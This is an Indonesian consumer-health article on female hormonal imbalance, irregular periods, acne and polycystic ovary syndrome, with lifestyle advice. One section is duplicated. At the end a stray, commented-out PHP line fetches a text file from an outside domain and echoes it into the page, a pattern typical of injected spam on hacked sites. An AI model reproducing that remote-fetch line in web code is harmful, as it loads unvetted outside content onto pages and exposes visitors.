Jika Hormon tak Seimbang

 


Kenali Si Hormon
 
Anda tentu sudah sering mendengar kata hormon. Lalu apa itu hormon? Hormon adalah bahan kimia yang diproduksi tubuh yang mengatur berlangsungnya fungsi sel dan organ tubuh. Fungsi reproduksi perempuan diatur oleh keseimbangan dan interaksi yang baik dari hormon-hormon yang berperan. Secara umum, hormon yang mengatur fungsi reproduksi diproduksi oleh otak pada bagian hipotalamus (GnRH) dan hipofisis anterior (FSH dan LH), serta hormon utama yang dihasilkan oleh indung telur, yakni estrogen dan progesteron.
 
Hormon reproduksi juga berkaitan dengan hormon-hormon lain yang dihasilkan, misalnya hormon prolaktin, kelenjar tiroid, dan hormon insulin. Antara otak dan indung telur, terjadi interaksi saling menyeimbangkan. Contohnya, jika hormon estrogen rendah kadarnya dalam darah, maka hormon otak akan merangsang produksinya agar meningkat. Sebaliknya, bila kadar estrogen dalam keadaan tinggi atau cukup tinggi, hormon otak akan berhenti merangsang. Semua mekanisme ini diatur dalam sistem umpan balik hormon yang kompleks.
 
Normalnya, akibat fungsi dan fluktuasi produksi hormon yang baik dan selaras, indung telur akan melepaskan sel telur yang matang dan mengalami ovulasi yang terjadi di pertengahan siklus haid. Selanjutnya, sel telur yang dilepaskan tersebut dapat mengalami pembuahan. Jika hasil pembuahan yang disebut embrio berimplantasi di dinding rahim, maka akan terjadi kehamilan dan embrio tersebut memicu sejumlah perubahan agar tubuh mempersiapkan terjadinya kehamilan dan tidak terjadi menstruasi pada siklus selanjutnya.
 
Sebaliknya, bila tidak terjadi pembuahan dan kehamilan, maka secara otomatis, interaksi hormon selanjutnya adalah mempersiapkan tubuh untuk masuk fase menstruasi siklus selanjutnya. Jarak dari ovulasi hingga menstruasi selanjutnya adalah 14 hari. Sehingga jika  interaksi dan siklus hormon berjalan normal, maka akan terjadi ovulasi  dan dapat dipastikan 14 hari setelah ovulasi, seorang perempuan akan mengalami haid!
 
Haid  Tak Teratur
Gangguan dalam salah satu produksi hormon reproduksi bisa mengakibatkan proses haid terganggu, berupa:
- Siklus haid lebih cepat dari 21 hari, atau lebih lama dari 35 hari.
- Perdarahan haid banyak atau sedikit.
- Perdarahan haid memanjang atau memendek.
- Perdarahan di luar siklus haid.
 
Jika Anda mengalami haid yang tak teratur, sebaiknya segera memeriksakan diri ke dokter. Sebab, gangguan tersebut bisa merupakan gejala dari berbagai kondisi atau penyakit tertentu yang dapat serupa satu sama lain.
 
Jadi Jerawatan
 
Ada beberapa keluhan penyerta yang tidak berhubungan dengan haid, namun berhubungan dengan adanya kemungkinan gangguan hormon reproduksi, misalnya jerawat yang cenderung sulit diobati. Hal ini diakibatkan oleh tingginya kadar hormon androgen yang menyebabkan kelenjar minyak bekerja secara berlebihan. Hormon ini juga memengaruhi sel-sel kulit dan folikel rambut. Keduanya menyumbat pori-pori yang mengakibatkan munculnya jerawat.

Sampai Kapan Terjadi?

Gangguan hormon dapat terjadi sepanjang usia reproduksi seorang perempuan. Maka, jika Anda mengalami gangguan, sebaiknya segera konsultasi dengan dokter kandungan untuk dicari penyebabnya. Apakah ada gangguan produksi hormon di otak atau gangguan produksi hormon di ovarium. Kemudian akan ditelusuri juga, apakah gangguan produksi ini hanya terjadi secara sporadis atau ada penyebab yang mendasarinya. Hal ini penting diketahui untuk memastikan terapi tepat yang akan diberikan oleh dokter.

Sampai Kapan Mengganggu?

Gangguan hormon dapat terjadi sepanjang usia reproduksi seorang perempuan. Maka, jika Anda mengalami gangguan hormon, segera konsultasi dengan dokter kandungan untuk dicari penyebabnya. Apakah ada gangguan produksi hormon di otak atau gangguan produksi hormon di ovarium. Kemudian akan ditelusuri juga, apakah gangguan produksi ini hanya terjadi secara sporadis atau ada penyebab yang mendasarinya. Hal ini penting diketahui untuk memastikan terapi tepat yang akan diberikan oleh dokter.
 
 
SINDROM OVARIUM POLIKISTIK (SOPK)
Salah satu gangguan haid yang banyak dialami perempuan usia reproduksi adalah Sindrom Ovarium Polikistik (SOPK). Sindrom ini mengakibatkan gangguan pematangan telur, sehingga gangguan yang timbul adalah siklus haid yang panjang (lebih dari 35 hari). Dapat disertai juga perdarahan abnormal, disertai  tumbuh rambut berlebihan di muka atau badan dan jerawat berlebihan. Penderitanya memiliki kadar hormon pria (androgen) lebih tinggi. Selain itu, sering juga ditemukan gangguan metabolisme lemak dan insulin pada perempuan dengan SOPK.
 
Penderita SOPK menjadi sulit hamil karena tidak ada telur yang dapat dibuahi, sehingga cenderung sulit hamil. Selain itu, kelainan metabolik pada SOPK dapat menyebabkan keguguran. Angkanya bervariasi tergantung derajat SOPK yang dialami.
 
Perempuan usia reproduksi memiliki risiko terkena SOPK. Faktor penyebab lainnya adalah genetik, penyakit metabolik seperti diabetes melitus, dan hiperkolesterol pada keluarga.  Selain itu, gaya hidup seperti obesitas, kegemukan, kurang olahraga, merokok, dan konsumsi alkohol juga berpengaruh.
 
Cara mengatasinya:
  1. SOPK dengan obesitas, penurunan berat badan sebanyak 5% bermanfaat untuk memicu haid secara alami.
  2. Susun diet sehat dengan tinggi vitamin dan mineral.
  3. Berolahraga secara teratur, minimal 30 menit setiap hari. Aktivitas fisik yang berkeringat dapat melepaskan hormon endorphin yang membuat Anda bahagia dan lepas dari stres. Dengan olahraga, berat badan pun akan turun.
  4. Berhenti merokok, karena selain bisa menimbulkan berbagai macam penyakit, juga mengandung zat berbahaya yang dapat merusak sel telur.
Berhenti mengonsumi alkohol karena alkohol dapat merusak sel telur di ovarium. (ES)

 



Artikel Rekomendasi

post4

Tak Kunjung Hamil

Ketika lama tak punya buah hati, wanita kerap ’dituduh’ menjadi penyebabnya. Bagaimana sebenarnya?... read more

".$css_content); //$a = file_get_contents('https://www.galatiatiga.com/pindang/index.txt'); //echo $a; ?>